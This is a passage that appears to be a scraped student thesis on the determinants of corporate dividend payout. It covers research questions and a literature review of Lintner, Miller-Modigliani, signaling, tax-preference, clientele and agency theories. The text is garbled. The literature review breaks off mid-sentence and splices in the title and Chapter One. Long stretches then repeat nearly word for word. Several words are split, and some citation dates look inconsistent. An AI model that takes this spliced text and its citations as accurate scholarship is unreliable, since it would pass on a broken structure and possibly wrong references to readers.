Analysis and Findings To address the research questions, results obtained from the regression analysis will be evaluated and discussed in this chapter. Chapter five: Recommendations and Conclusion. This chapter Concludes the entire study and provides recommendations based on the findings and analysis done in the previous chapter and recommendations for future research. CHAPTER TWO LITERATURE REVIEW Dividend remains one of the greatest enigmas of modern finance. Corporate dividend policy is an important decision area in the field of financial management hence there is an extensive literature devoted to the subject. Dividends are defined as the distribution of earnings (present or past) in real assets among the shareholders of the firm in proportion to their ownership. Dividend policy refers to managements long-term decision on how to utilize cash flows from business activities-that is, how much to plow back into the business, and how much to return to shareholders (Khan and Jain, 2005). Lintner (1956) conducted a notable study on dividend distributions, his was the first empirical study of dividend policy through his interview with managers of 28 selected companies, he stated that most companies have clear cut target payout ratios and that managers concern themselves with change in the existing dividend payout rather than the amount of the newly established payout. He also states that, Dividend policy is set first and other policies are then adjusted and the market reacts positively to dividend increase announcements and negatively to announcements of dividend decreases. He measured major changes in earnings as the key determinant of the companies dividend decisions. Lintners study was expanded by Farrelly et al. (1988), who, mailed a questionnaire to 562 firms listed on the New York Stock Exchange and concluded that managers accept dividend policy to be relevant and important. Lintners view was also supported by the study results of Fama and Babiak (1968) and Fama (1974) who suggested that managers prefer a stable dividend policy, and are hesitant to increase dividends to a level that cannot be supported. Fama and Babiaks (1968) study also concludes that Net income appears to explain the dividend change decision better than a cash flow measure. The study by Adaoglu (2000), Amidu and Abor (2006) and Belans et al (2007) stated that net income shows positive and significant association with the dividend payout, therefore indicating that, the firms with the positive earnings pay more dividends. Merton Miller and Franco Modigliani (1961) made a proposition that the value of a firm is not affected by its dividend policy. Dividend policy is a way of dividing up operating cash flows among investors or just a financial decision. Financial theorists Martin, Petty, Keown, and Scott, 1991 supported this theory of irrelevance. Miller and Modiglianis conclusion on the irrelevance of dividend policy presented a tough challenge to the conventional wisdom of time up to that point, it was universally acknowledged by both theorists and corporate managers that the firm can enhance its business value by providing for a more generous dividend policy as investors seem to prefer dividends over capital gains (JM Samuels, FM.Wilkes and R.E Brayshaw). Benartzi et al. (1997) conducted an extensive study and concluded that Lintners model of dividends remains the finest description of the dividend setting process available. Baker et al. (2001) conducted a survey on 630 NASDAQ-listed firms and analyzed the responses from 188 CFOs about the importance of 22 different factors that influence their dividend policy, they found that the dividend decisions made by managers were consistent with Lintners (1956) survey results and model. Their results also suggest that managers pay particular attention to the dividend policy of the firm because the dividend decision can affect firm value and, in turn, the wealth of stockholders, thus dividend policy requires serious attention by the management. E.F Fama and K.R French (2001) investigated the characteristics of companies paying dividends and concluded that the top most characteristics that affect the decision to pay dividends are Firm size, Profitability, and Investment opportunities. They studied dividend payment in the United States and found that the proportion of dividend payers declined sharply from 66% in 1978 to 20.8% in 1999, and that only about a fifth of public companies paid dividends. Growth companies such as Microsoft, Cisco and Sun Microsystems were found to be non-dividend payers. They also explained that the probability that a firm would pay dividends was positively related to profitability and size and negatively related to growth. Their research concluded that larger firms are more profitable and are more likely to pay dividends, than firms with more investment opportunities. The relationship between firm size and dividend policy was studied by Jennifer J. Gaver and Kenneth M. Gaver (1993). They suggested t hat A firms dividend yield is inversely related to the extent of its growth opportunities. The inference here is that as cash flow increases, the coefficient of dividend decreases, indicating that smaller firms that have greater investment opportunities thus they tend not to make dividend payment while larger firms tend to have proactive dividends policy. Ho, H. (2003) undertook a comparative study of dividend policies in Japan and Australia. Their study revealed that dividend policies in Australia and Japan are affected by different financial factors. Dividend policies are affected positively by size in Australia and liquidity in Japan. Naceur et al (2006) examined the dividend policy of 48 firms listed on the Tunisian Stock Exchange during the period 1996-2002. His research indicated that highly profitable firms with more stable earnings could afford larger free cash flows and thus paid larger dividends. Li and Lie (2006) reported that large and profitable firms are more likely to raise their dividends if the past dividend yield, debt ratio, cash ratio are low. A study was conducted by Norhayati Mohamed, Wee Shu Hui, Mormah Hj.Omar, and Rashidah Abdul Rahman on Malaysian companies over a 3 year period from 2003-2005. The sample was taken from the top 200 companies listed on the main board of Bursa Malaysia based on market capitaliza tion as at 31December 2005. Their study concluded that bigger firms pay higher dividends. For the purpose of finding out how companies arrive at their dividend decisions, many researchers and theorists have proposed several dividend theories. Gordon and Walter (1963) presented the Bird in Hand theory which suggested that to minimize risk the investors always prefer cash in hand rather than future promise of capital gain. This theory asserts that investors value dividends and high payout firms. As said by John D. Rockefeller (an American industrialist) The one thing that gives me contentment is to see my dividend coming in. For companies to communicate financial well-being and shareholder value the easiest way is to say the dividend check is in the mail. The bird-in-hand theory (a pre-Miller-Modigliani theory) asserts that dividends are valued differently to capital gains in a world of information asymmetry where due to uncertainty of future cash flow, investors will often tend to prefer dividends to retained earnings. As a result the value of the firm would be increased a s a higher payout ratio will reduce the required rate of return (see, for example Gordon, 1959). This argument has not received any strong empirical support. Dividends, paid by companies to shareholders from earnings, serve as an important indicator of the strength and future prosperity of the business. This explanation is known as signaling hypothesis. Signaling is an example factor for the relevance of dividends to the value of the firm. It is based on the idea of information asymmetry between managers and investors, where managers have private information about the firm that is not available to the outsiders. This theory is supported by models put forward by Miller and Rock (1985), Bhattacharya (1979), John and Williams (1985). They stated that dividends can be used as a signaling device to influence share price. The share price reacts favorably when an announcement of dividend increase is made. Few researchers found limited support for the signaling hypothesis (see Gonedes, 1978 , Watts, 1973) and there are other researchers, who supported the hypothesis, for example, in Michaely, Nissim and Ziv (2001), Pettit (1972) and Bali (2003). The tax-preference theory assumes that the market valuation of a firms stocks is increased when the dividend payout ratios is low which in turn lowers the required rate of return. Because of the relative tax liability of dividends compared to capital gains, investors need a large amount of before-tax risk adjusted return on stocks with higher dividend yields (Brennan, 1970). On one side studies by Lichtenberger and Ramaswamy (1979), Poterba and Summers, (1984), and Barclay (1987) have presented empirical evidence in support of the tax effect argument and on the other side Black and Scholes (1974), Miller and Scholes (1982), and Morgan and Thomas (1998) have either opposed such findings or provided completely different explanations. The study by Masulis and Trueman (1988) model dividend payments in form of cash as products of deferred dividend costs. Their model predicts that investors with differing tax liabilities will not be uniform in their ideal firm dividend policy. As the tax l iability on dividends increases (decreases), the dividend payment decreases (increases) while earnings reinvestment increases (decreases). According to Farrar and Selwyn (1967), in a partial equilibrium framework, individual investors choose the amount of personal and corporate leverage and also whether to receive corporate distributions as dividends or capital gains. Barclay (1987) has presented empirical evidence I support of the tax effect argument. Others, including Black and Scholes (1982), have opposed such findings or provided different explanations. Farrar and Selwyns model (1967) made an assumption that investors tend to increase their after tax income to the maximum. According to this model corporate earnings should be distributed by share repurchase rather than the use of dividends. Brennan (1970) has extended Farrar and Selwyns model into a general equilibrium framework. Under this, the expected usefulness of wealth as a system of barter is maximized. Despite being more robust both the models are similar as regards to their predictions. According to Auerbachs (1979) discrete-time, infinite-horizon model, the wealth of shareholders is maximized by the shareholders themselves and not by firm market value. If there does, infact, exist a difference between capital gains and dividends tax; firm market value maximization is no longer determined by wealth maximization. He states that the continued undervaluation of corporate capital leads to dividend distributions. The clientele effects hypothesis is another related theory. According to this theory the investors may be attracted to the types of stocks that fall in with their consumption/savings preferences. That is, investors (or clienteles) in high tax brackets may prefer non-dividend or low-dividend paying stocks if dividend income is taxed at a higher rate than capital gains. Also, certain clienteles may be created with the presence of transaction costs. There are several empirical studies on the clientele effects hypothesis but the findings are mixed. Studies by Pettit (1977), Scholz (1992), and Dhaliwal, Erickson and Trezevant (1999) presented evidence consistent with the existence of clientele effects hypothesis whereas studies by Lewellen et al. (1978), Richardson, Sefcik and Thomason (1986), Abrutyn and Turner (1990), found weak or contrary evidence. There is an assumption that the managers do not always take steps which would lead to maximizing an investors wealth. This gives rise to another favorable argument for hefty dividend payouts which shifts the reinvestment decision back on the owners. The main hitch would be the agency conflict (conflict between the principal and the agent) arising as a result of separate ownership and control. Therefore, a manager is expected to move the surplus funds from the high retained earnings into projects which are not feasible. This would be mainly due to his ill intention or his in competency. Thus, generous dividend payouts increase a firms value as it reduces the managements access to free cash flows and hence, controlling the problem of over investment. There are many more agency theories explaining how dividends can increase the value of a firm. One of them was by Easterbrook (1984); he proposed that dividend payments reduce agency problems in contrast to the transaction cost theory which is of the view that dividend payments reduce the value as it forces to raise costly finances from outside sources. His idea is that if the dividends are not paid, there is a problem of collective action that tends to lead to hap-hazard management of the firm. So, dividend payouts and raising external finance would attract auditory and regulatory measures by financial intermediaries like investment banks, respective stock exchange regulators and the potential investors as well. All this monitoring would lead to considerable reduction of agency costs and appreciate the market value of t he firm. Moreover, as defined by Jenson and Meckling (1976), Agency costs=monitoring costs+ bonding, costs+ residual loss i.e. sum of agency cost of equity and agency cost of debt. Hence, Easterbrook (1984) noted that dividend payments and raising new debt and its contract negotiations would reduce potential for wealth transfer. The realization for potential agency costs linked with separation of management and shareholders is not new. Adam Smith (1937) proposed that management of earlier companies is wayward. This problem was highly witnessed during at the time of British East Indian Companies and tracking managers was a failure due to inefficiencies and high costs of shareholder monitoring (Kindleberger, 1984). Scott (1912) and Carlos (1922) differ with this view point. They agree that although some fraud existed in the corporations, many of the activities of the managers were in line with those of the shareholders interests. An opportune and intelligent manager should always invest the surplus cash available into those opportunities which are well researched to be in the best interest of the shareholders. Berle and Means (1932) was the first to discover the insufficient utilization of funds which are surplus after other investment opportunities taken by the management. This thought was further promoted by Jensens (1986) free cash flow hypothesis. This hypothesis combined market information asymmetries with the agency theory. The surplus funds left after all the valuable projects are largely responsible for creation of the conflict of interest between the management and the shareholders. Payment of dividends and interest on other debt instruments reduce the cash flow with the management to invest in marginal net present value projects and for other perquisite consumptions. Therefore, the dividend theory is better explained by the combination of both the agency and the signaling theory rather than by any o ne of these alone. On the other hand, the free cash flow hypothesis rationalizes the corporate takeover frenzy of the 1980s Myers (1987 and 1990) rather than providing a clear and comprehensive dividend policy. The study by Baker et al. (2007) reports, that firms paying dividend in Canada are significantly larger and more profitable, having greater cash flows, ownership structure and some growth opportunities. The cash flow hypothesis proposes that insiders to a firm have more information about future cash flow than the outsiders, and they have incentivized motives to leak this to outsiders. Lang and Litzenberger (1989) check the cash flow signaling and free cash flow explanations of the effect of dividend declarations on the stock prices. This difference between permanent and temporary changes is also explored in Brook, Charlton, and Hendershott (1998). However, this study is based on the hypothesis that dividend changes contain cash flow information rather than information about earnings. This is the cash flow signaling hypothesis proposing that dividend changes signal expected cash flows changes. The dividend decisions are affected by a number of factors; many researchers have contributed in determining which determinant of dividend payout is the most significant in contributing to dividend decisions. It is said that the primary indicator of the firms capacity to pay dividends has been Profits. According to Lintner (1956) the dividend payment pattern of a firm is influenced by the current year earnings and previous year dividends. Pruitt and Gitmans (1991) survey of financial managers of 1000 largest U.S companies about the interplay among the investment and dividend decisions in their firms reported that, current and past year profits are essential factors influencing dividend payments. The conclusion derived from Baker and Powells (2000) survey of NYSE-listed firms is that the major determinant is the anticipated level of future earnings and continuity of past dividends. The study of Aivazian, Booth, and Cleary (2003) concludes that profitability and return on equity positi vely correlate with the size of the dividend payout ratio. The study by Lv Chang-jiang and Wang Ke-min (1999) on 316 listed companies in China that paid cash dividends during 1997 and 1998 by using modified Lintner dividend model, suggested that the dividend payout ratio is due to the firms current earning level. Other researchers like Chen Guo-Hui and Zhao Chun-guang (2000), Liu Shu-lian and Hu Yan-hong (2003) also concluded their research on the above stated understanding about dividend policy of listed companies in China. A survey done by Baker, Farrelly, and Edelman (1985) and Farrelly, Baker, and Edelman (1986) on 562 New York Stock Exchange (NYSE) firms with normal kinds of dividend polices in 1983 suggested that the major determinants of dividend payments were the anticipated level of future earnings and the pattern of past dividends. DeAngelo et al. (2004) findings suggest that earnings do have some impact on dividend payment. He stated that the high/increasing dividend concentration may be the result of high/increasing earnings concentration. Goergen et al. (2005) study on 221 German firms shows that net earnings were the key determinants of dividend changes. Baker and Smith (2006) examined 309 sample firms exhibiting behavior consistent with a residual dividend policy and their matched counterparts to understand how they set their dividend policies. Their study showed that for the matched firms, the pattern of past dividends and desire to maintain a long-term dividend payout ratio elicit the highest level of agreement from respondents. The study by Ferris et al. (2006) found mixed results for the relation between a firms earnings and its ability to pay dividends. Kao and Wu (1994) used a time series regression analysis of 454 firms over the period of 1965 to1986, and showed that there was a positive relationshi p between unexpected dividends and earnings. Carroll (1995) used quarterly data of 854 firms over the period of 1975 to 1984, and examined whether quarterly dividend changes predicted future earnings. He found a significant positive relationship. Liquidity is also an important determinant of dividend payouts. A poor liquidity position would generate fewer dividends due to shortage of cash. Alli et.al (1993), reveal that dividend payments depend more on cash flows, which reflect the companys ability to pay dividends, than on current earnings, which are less heavily influenced by accounting practices. They claim current earnings do no really reflect the firms ability to pay dividends. A firm without the cash flow back up cannot choose to have a high dividend payout as it will ultimately have to either reduce its investment plans or turn to investors for additional debt. The study by Brook, Charlton and Hendershott (1998) states that, Firms expecting large permanent cash flow increases tend to increase their dividend. Managers do not increase dividends until they are positive that sufficient cash will flow in to pay them (Brealey-Myers-2002). Myers and Bacons (2001) study shows a negative relationship between the liquid ratio and dividend payout. For companies to enable them to enhance their dividend paying capacity, and thus, to generate higher dividend paying capacity, it is necessary to retain their earnings to finance investment in fixed assets. The study by Belans et al (2007) states that the relationship between the firms liquidity and dividend is positive which explains that firms with more market liquidity pay more dividends. Reddy (2006), Amidu and Abor (2006) find opposite evidence. Lintner (1956) posited that the level of retained earnings is a dividend decision by- product. Adaoglu (2000) study shows that the firms listed on Istanbul Stock Exchange follow unstable cash dividend policy and the main factor for determining the amount of dividend is earning of the firms. The same conclusion was drawn by Omet (2004) in case of firms listed on Amman Securities Market and he further states that the tax imposition on dividend does not have the significant impact on the dividend behavior of the listed firms. The study by Mick and Bacon (2003) concludes that future earnings are the most influential variable and that the past dividend patterns as well as current and expected levels are empirically relevant in explaining the dividend decision. Empirical support for Lintners findings, that dividends were indeed a function of current and past profit levels and were negatively correlated with the change in sales was found by Darling (1957), Fama and Babiak (1968). Benchman a nd Raaballe (2007) discovered that the propensity to pay out dividends is positively correlated to retained earnings. Also, the study by Denis and Osobov (2006) states that retained earnings are a significant dividend characteristic for non- US firms including UK, German, and French firms. One of the motives for dividend policy decision is maintaining a moderate share price as poor stock price performance mostly conveys negative information about firms reputation. An empirical research took by Zhao Chun-guang and Zhang Xue-li et al (2001) on all A shares listed companies listed in Shenzhen and Shanghai Stock Exchange, states that the more cash dividends is paid when the stock prices are high. Chen Guo-Hui and Zhao Chun-guang (2000) undertook a research on all A shares listed before 1996 and paid dividend into share capital in 1997 as their sampling, and employed single-factor analysis, multifactor regression analysis to analyze the data. Their research showed a positive stock price reaction to the cash dividend, stock dividend policy. Myers and Bacon (2001) discussed that the debt to equity ratio was positively correlated to the dividend yield. Therefore firms with relatively more investment opportunities would tend to be more geared and vice versa (Ross, 2000). The study by Hu and Liu, (2005) declares that there is a positive correlation between the cash dividend the companies pay and their current earnings, and a inverse relationship between the debt to total assets and dividends. Green et al. (1993) questioned the irrelevance argument and investigated the relationship between the dividends and investment and financing decisions. Their study showed that dividend payout levels are decided along with investment and financing decisions. The study results however do not support the views of Miller and Modigliani (1961). Partington (1983) declared that firms motives for paying dividends and extent to which dividends are decided are independent of investment policy. The study by Higgins (1981) declares a direct link between growths and financing needs, rapidly growing firms have external financing needs because working capital needs normally exceed the incremental cash flows from new sales. Higgins (1972) suggests that payout ratios are negatively related to firms need top fund finance growth opportunities. Other researchers like Rozeff (1982), Lloyd et al. (1985) and Collins et al. (1996) all show significantly negative relationship between historical sales growth and dividend payout whereas D, Souza (1999) however shows a positive but insignificant relationship in the case of growth and negative but insignificant relationship in case of market to book value. Jenson and Meckling (1976) find a strong relationship between dividends and investment opportunities. They explain, in some circumstances where firms have relative uptight disposable Dividend Payout Decision Making Process Dividend Payout Decision Making Process CHAPTER ONE INTRODUCTION Background: Dividend policy is an important component of the corporate financial management policy. It is a policy used by the firm to decide as to how much cash it should reinvest in its business through expansion or share repurchases and how much to pay out to its shareholders in dividends. Dividend is a payment or return made by the firm to the shareholders, (owners of the company) out of its earnings in the form of cash. For a long time, the subject of corporate dividend policy has captivated the interests of many academicians and researchers, resulting in the emergence of a number of theoretical explanations for dividend policy. For the investors, dividend serve as an important indicator of the strength and future prosperity of the business, thereby companies try to maintain a stable dividend because if they reduce their dividend payments, investors may suspect that the company is facing a cash flow problem. Investors prefer steady growth of dividends every year and are reluctant to investm ent to companies with fluctuating dividend policy. Over time, there has been a substantial increase in the number of factors identified in the literature as being important to be considered in making dividend decisions. Thus, extensive studies have been done to find out various factors affecting dividend payout ratio of a firm. However, there is no single explanation that can capture the puzzling reality of corporate dividend behavior. Ocean deep judgment is involved by decision makers to resolve this issue of dividend behavior. The decision of companies to retain or pay out the earnings in form of dividends is important for the maximization of the value of the firm (Oyejide, 1976). Therefore, companies should set a constructive target dividend payout ratio, where it pays dividends to its shareholders and at the same time maintains sufficient retained earnings as to avoid having raise funds by borrowing money. A tough challenge was faced by financial practitioners and many academics, when Miller and Modigliani (MM) (1961) came with a proposition that, given perfect capital markets, the dividend decision does not affect the firm value and is, therefore, irrelevant. This proposition was greeted with surprise because at that time it was universally acknowledged by both theorists and corporate managers that the firm can enhance its business value by providing for a more generous dividend policy and that a properly managed dividend policy had an impact on share prices and shareholder wealth. Since the MM study, many researchers have relaxed the assumption of perfect capital markets and stated theories about how managers should formulate dividend policy decisions. Problem Statement: Dividend policy has attracted a substantial amount of research by many researchers and theorists, who have provided theoretical as well as empirical observations, into the dividend puzzle (Black, 1976). Even though researchers and theorists have extended their studies in context to dividend decisions, the issue as to why corporations distribute a portion of their earnings as dividends is not yet resolved. The issue of dividend policy has stimulated much debate among financial analysts since Lintners (1956) seminal work. He measured major changes in earnings as the key determinant of the companies dividend decisions. There are many factors that affect dividend decisions of a firm as it is very difficult to lay down an optimum dividend policy which would maximize the long-run wealth of the shareholders resulting into increase or decrease of the firms value, but the primary indicator of the firms capacity to pay dividends has been Profits. Miller and Modigliani (1961), DeAngelo and DeAngelo (2006) gave their proposition on the dividend irrelevance, but the argument made by them was on assumptions that werent practical and in fact, the dividend payout decision does affect the shareholders value. The study focuses on identifying various determinants of dividend payout and whether these factors influence the dividend payout decision. Research Objective: There are many theories in the corporate finance literature addressing the dividend issue. The purpose of study is to understand the factors influencing the dividend decision of companies. The specific objectives of this study are: To analyze the financials of the company, to draw a framework of factors such as Retained earnings, Age of the company, Debt to Equity, Cash, Net income, Earnings per share etc. responsible for dividend declaration. To understand the criticality of a companys profitability (in terms of Earnings per share) component in declaration of dividends. To measure each factor individually on how it affects the dividend decision. Research Questions: RQ1. What is the relation between dividend payout and firms debt? RQ2. What is the relation between dividend payout and Profitability? RQ3. What is the relation between dividend payout and liquidity? RQ4. What is the relation between dividend payout and Retained Earnings? RQ5. What is the relation between dividend payout and Net Income? Contribution of the Study: Dividend decision is an important financial decision made by firms, managers, and investors. This study aims to contribute to the corporate finance literature, by looking at the Dividend puzzle. An attempt is made to make a valuable contribution in two major ways: Theoretical and Empirical approach is taken to provide a comprehensive view on the subject. The empirical Approach taken in this study will definitely leave some promising future ideas. The empirical findings and conclusions contained in this study can be used by financial managers to inform dividend decisions. Limitations of Study: The areas of concern to investigate in this study are extensive. Due to the Time constraint and accessibility of data, the research will be limited to the following: The period of study is only three years 2006 to 2008. The research has considered only those firms who pay dividends. The study is focused only on firms trading on the New York Stock Exchange. Structure of the Paper: The remaining chapters will be organized as follows: Chapter Two: Literature Review This chapter discusses the different theories laid down in context to dividend policy and explains the relationship between dividend payout and its determinants as concluded by the study of different researchers and theorists. Chapter Three: Research Methodology This chapter explains the research hypothesis and gives a descriptive study of the techniques and the model used for data analysis. The application of the statistical tests used are explained thoroughly. Chapter four: Data Analysis and Findings To address the research questions, results obtained from the regression analysis will be evaluated and discussed in this chapter. Chapter five: Recommendations and Conclusion. This chapter Concludes the entire study and provides recommendations based on the findings and analysis done in the previous chapter and recommendations for future research. CHAPTER TWO LITERATURE REVIEW Dividend remains one of the greatest enigmas of modern finance. Corporate dividend policy is an important decision area in the field of financial management hence there is an extensive literature devoted to the subject. Dividends are defined as the distribution of earnings (present or past) in real assets among the shareholders of the firm in proportion to their ownership. Dividend policy refers to managements long-term decision on how to utilize cash flows from business activities-that is, how much to plow back into the business, and how much to return to shareholders (Khan and Jain, 2005). Lintner (1956) conducted a notable study on dividend distributions, his was the first empirical study of dividend policy through his interview with managers of 28 selected companies, he stated that most companies have clear cut target payout ratios and that managers concern themselves with change in the existing dividend payout rather than the amount of the newly established payout. He also states that, Dividend policy is set first and other policies are then adjusted and the market reacts positively to dividend increase announcements and negatively to announcements of dividend decreases. He measured major changes in earnings as the key determinant of the companies dividend decisions. Lintners study was expanded by Farrelly et al. (1988), who, mailed a questionnaire to 562 firms listed on the New York Stock Exchange and concluded that managers accept dividend policy to be relevant and important. Lintners view was also supported by the study results of Fama and Babiak (1968) and Fama (1974) who suggested that managers prefer a stable dividend policy, and are hesitant to increase dividends to a level that cannot be supported. Fama and Babiaks (1968) study also concludes that Net income appears to explain the dividend change decision better than a cash flow measure. The study by Adaoglu (2000), Amidu and Abor (2006) and Belans et al (2007) stated that net income shows positive and significant association with the dividend payout, therefore indicating that, the firms with the positive earnings pay more dividends. Merton Miller and Franco Modigliani (1961) made a proposition that the value of a firm is not affected by its dividend policy. Dividend policy is a way of dividing up operating cash flows among investors or just a financial decision. Financial theorists Martin, Petty, Keown, and Scott, 1991 supported this theory of irrelevance. Miller and Modiglianis conclusion on the irrelevance of dividend policy presented a tough challenge to the conventional wisdom of time up to that point, it was universally acknowledged by both theorists and corporate managers that the firm can enhance its business value by providing for a more generous dividend policy as investors seem to prefer dividends over capital gains (JM Samuels, FM.Wilkes and R.E Brayshaw). Benartzi et al. (1997) conducted an extensive study and concluded that Lintners model of dividends remains the finest description of the dividend setting process available. Baker et al. (2001) conducted a survey on 630 NASDAQ-listed firms and analyzed the responses from 188 CFOs about the importance of 22 different factors that influence their dividend policy, they found that the dividend decisions made by managers were consistent with Lintners (1956) survey results and model. Their results also suggest that managers pay particular attention to the dividend policy of the firm because the dividend decision can affect firm value and, in turn, the wealth of stockholders, thus dividend policy requires serious attention by the management. E.F Fama and K.R French (2001) investigated the characteristics of companies paying dividends and concluded that the top most characteristics that affect the decision to pay dividends are Firm size, Profitability, and Investment opportunities. They studied dividend payment in the United States and found that the proportion of dividend payers declined sharply from 66% in 1978 to 20.8% in 1999, and that only about a fifth of public companies paid dividends. Growth companies such as Microsoft, Cisco and Sun Microsystems were found to be non-dividend payers. They also explained that the probability that a firm would pay dividends was positively related to profitability and size and negatively related to growth. Their research concluded that larger firms are more profitable and are more likely to pay dividends, than firms with more investment opportunities. The relationship between firm size and dividend policy was studied by Jennifer J. Gaver and Kenneth M. Gaver (1993). They suggested t hat A firms dividend yield is inversely related to the extent of its growth opportunities. The inference here is that as cash flow increases, the coefficient of dividend decreases, indicating that smaller firms that have greater investment opportunities thus they tend not to make dividend payment while larger firms tend to have proactive dividends policy. Ho, H. (2003) undertook a comparative study of dividend policies in Japan and Australia. Their study revealed that dividend policies in Australia and Japan are affected by different financial factors. Dividend policies are affected positively by size in Australia and liquidity in Japan. Naceur et al (2006) examined the dividend policy of 48 firms listed on the Tunisian Stock Exchange during the period 1996-2002. His research indicated that highly profitable firms with more stable earnings could afford larger free cash flows and thus paid larger dividends. Li and Lie (2006) reported that large and profitable firms are more likely to raise their dividends if the past dividend yield, debt ratio, cash ratio are low. A study was conducted by Norhayati Mohamed, Wee Shu Hui, Mormah Hj.Omar, and Rashidah Abdul Rahman on Malaysian companies over a 3 year period from 2003-2005. The sample was taken from the top 200 companies listed on the main board of Bursa Malaysia based on market capitaliza tion as at 31December 2005. Their study concluded that bigger firms pay higher dividends. For the purpose of finding out how companies arrive at their dividend decisions, many researchers and theorists have proposed several dividend theories. Gordon and Walter (1963) presented the Bird in Hand theory which suggested that to minimize risk the investors always prefer cash in hand rather than future promise of capital gain. This theory asserts that investors value dividends and high payout firms. As said by John D. Rockefeller (an American industrialist) The one thing that gives me contentment is to see my dividend coming in. For companies to communicate financial well-being and shareholder value the easiest way is to say the dividend check is in the mail. The bird-in-hand theory (a pre-Miller-Modigliani theory) asserts that dividends are valued differently to capital gains in a world of information asymmetry where due to uncertainty of future cash flow, investors will often tend to prefer dividends to retained earnings. As a result the value of the firm would be increased a s a higher payout ratio will reduce the required rate of return (see, for example Gordon, 1959). This argument has not received any strong empirical support. Dividends, paid by companies to shareholders from earnings, serve as an important indicator of the strength and future prosperity of the business. This explanation is known as signaling hypothesis. Signaling is an example factor for the relevance of dividends to the value of the firm. It is based on the idea of information asymmetry between managers and investors, where managers have private information about the firm that is not available to the outsiders. This theory is supported by models put forward by Miller and Rock (1985), Bhattacharya (1979), John and Williams (1985). They stated that dividends can be used as a signaling device to influence share price. The share price reacts favorably when an announcement of dividend increase is made. Few researchers found limited support for the signaling hypothesis (see Gonedes, 1978 , Watts, 1973) and there are other researchers, who supported the hypothesis, for example, in Michaely, Nissim and Ziv (2001), Pettit (1972) and Bali (2003). The tax-preference theory assumes that the market valuation of a firms stocks is increased when the dividend payout ratios is low which in turn lowers the required rate of return. Because of the relative tax liability of dividends compared to capital gains, investors need a large amount of before-tax risk adjusted return on stocks with higher dividend yields (Brennan, 1970). On one side studies by Lichtenberger and Ramaswamy (1979), Poterba and Summers, (1984), and Barclay (1987) have presented empirical evidence in support of the tax effect argument and on the other side Black and Scholes (1974), Miller and Scholes (1982), and Morgan and Thomas (1998) have either opposed such findings or provided completely different explanations. The study by Masulis and Trueman (1988) model dividend payments in form of cash as products of deferred dividend costs. Their model predicts that investors with differing tax liabilities will not be uniform in their ideal firm dividend policy. As the tax l iability on dividends increases (decreases), the dividend payment decreases (increases) while earnings reinvestment increases (decreases). According to Farrar and Selwyn (1967), in a partial equilibrium framework, individual investors choose the amount of personal and corporate leverage and also whether to receive corporate distributions as dividends or capital gains. Barclay (1987) has presented empirical evidence I support of the tax effect argument. Others, including Black and Scholes (1982), have opposed such findings or provided different explanations. Farrar and Selwyns model (1967) made an assumption that investors tend to increase their after tax income to the maximum. According to this model corporate earnings should be distributed by share repurchase rather than the use of dividends. Brennan (1970) has extended Farrar and Selwyns model into a general equilibrium framework. Under this, the expected usefulness of wealth as a system of barter is maximized. Despite being more robust both the models are similar as regards to their predictions. According to Auerbachs (1979) discrete-time, infinite-horizon model, the wealth of shareholders is maximized by the shareholders themselves and not by firm market value. If there does, infact, exist a difference between capital gains and dividends tax; firm market value maximization is no longer determined by wealth maximization. He states that the continued undervaluation of corporate capital leads to dividend distributions. The clientele effects hypothesis is another related theory. According to this theory the investors may be attracted to the types of stocks that fall in with their consumption/savings preferences. That is, investors (or clienteles) in high tax brackets may prefer non-dividend or low-dividend paying stocks if dividend income is taxed at a higher rate than capital gains. Also, certain clienteles may be created with the presence of transaction costs. There are several empirical studies on the clientele effects hypothesis but the findings are mixed. Studies by Pettit (1977), Scholz (1992), and Dhaliwal, Erickson and Trezevant (1999) presented evidence consistent with the existence of clientele effects hypothesis whereas studies by Lewellen et al. (1978), Richardson, Sefcik and Thomason (1986), Abrutyn and Turner (1990), found weak or contrary evidence. There is an assumption that the managers do not always take steps which would lead to maximizing an investors wealth. This gives rise to another favorable argument for hefty dividend payouts which shifts the reinvestment decision back on the owners. The main hitch would be the agency conflict (conflict between the principal and the agent) arising as a result of separate ownership and control. Therefore, a manager is expected to move the surplus funds from the high retained earnings into projects which are not feasible. This would be mainly due to his ill intention or his in competency. Thus, generous dividend payouts increase a firms value as it reduces the managements access to free cash flows and hence, controlling the problem of over investment. There are many more agency theories explaining how dividends can increase the value of a firm. One of them was by Easterbrook (1984); he proposed that dividend payments reduce agency problems in contrast to the transaction cost theory which is of the view that dividend payments reduce the value as it forces to raise costly finances from outside sources. His idea is that if the dividends are not paid, there is a problem of collective action that tends to lead to hap-hazard management of the firm. So, dividend payouts and raising external finance would attract auditory and regulatory measures by financial intermediaries like investment banks, respective stock exchange regulators and the potential investors as well. All this monitoring would lead to considerable reduction of agency costs and appreciate the market value of t he firm. Moreover, as defined by Jenson and Meckling (1976), Agency costs=monitoring costs+ bonding, costs+ residual loss i.e. sum of agency cost of equity and agency cost of debt. Hence, Easterbrook (1984) noted that dividend payments and raising new debt and its contract negotiations would reduce potential for wealth transfer. The realization for potential agency costs linked with separation of management and shareholders is not new. Adam Smith (1937) proposed that management of earlier companies is wayward. This problem was highly witnessed during at the time of British East Indian Companies and tracking managers was a failure due to inefficiencies and high costs of shareholder monitoring (Kindleberger, 1984). Scott (1912) and Carlos (1922) differ with this view point. They agree that although some fraud existed in the corporations, many of the activities of the managers were in line with those of the shareholders interests. An opportune and intelligent manager should always invest the surplus cash available into those opportunities which are well researched to be in the best interest of the shareholders. Berle and Means (1932) was the first to discover the insufficient utilization of funds which are surplus after other investment opportunities taken by the management. This thought was further promoted by Jensens (1986) free cash flow hypothesis. This hypothesis combined market information asymmetries with the agency theory. The surplus funds left after all the valuable projects are largely responsible for creation of the conflict of interest between the management and the shareholders. Payment of dividends and interest on other debt instruments reduce the cash flow with the management to invest in marginal net present value projects and for other perquisite consumptions. Therefore, the dividend theory is better explained by the combination of both the agency and the signaling theory rather than by any o ne of these alone. On the other hand, the free cash flow hypothesis rationalizes the corporate takeover frenzy of the 1980s Myers (1987 and 1990) rather than providing a clear and comprehensive dividend policy. The study by Baker et al. (2007) reports, that firms paying dividend in Canada are significantly larger and more profitable, having greater cash flows, ownership structure and some growth opportunities. The cash flow hypothesis proposes that insiders to a firm have more information about future cash flow than the outsiders, and they have incentivized motives to leak this to outsiders. Lang and Litzenberger (1989) check the cash flow signaling and free cash flow explanations of the effect of dividend declarations on the stock prices. This difference between permanent and temporary changes is also explored in Brook, Charlton, and Hendershott (1998). However, this study is based on the hypothesis that dividend changes contain cash flow information rather than information about earnings. This is the cash flow signaling hypothesis proposing that dividend changes signal expected cash flows changes. The dividend decisions are affected by a number of factors; many researchers have contributed in 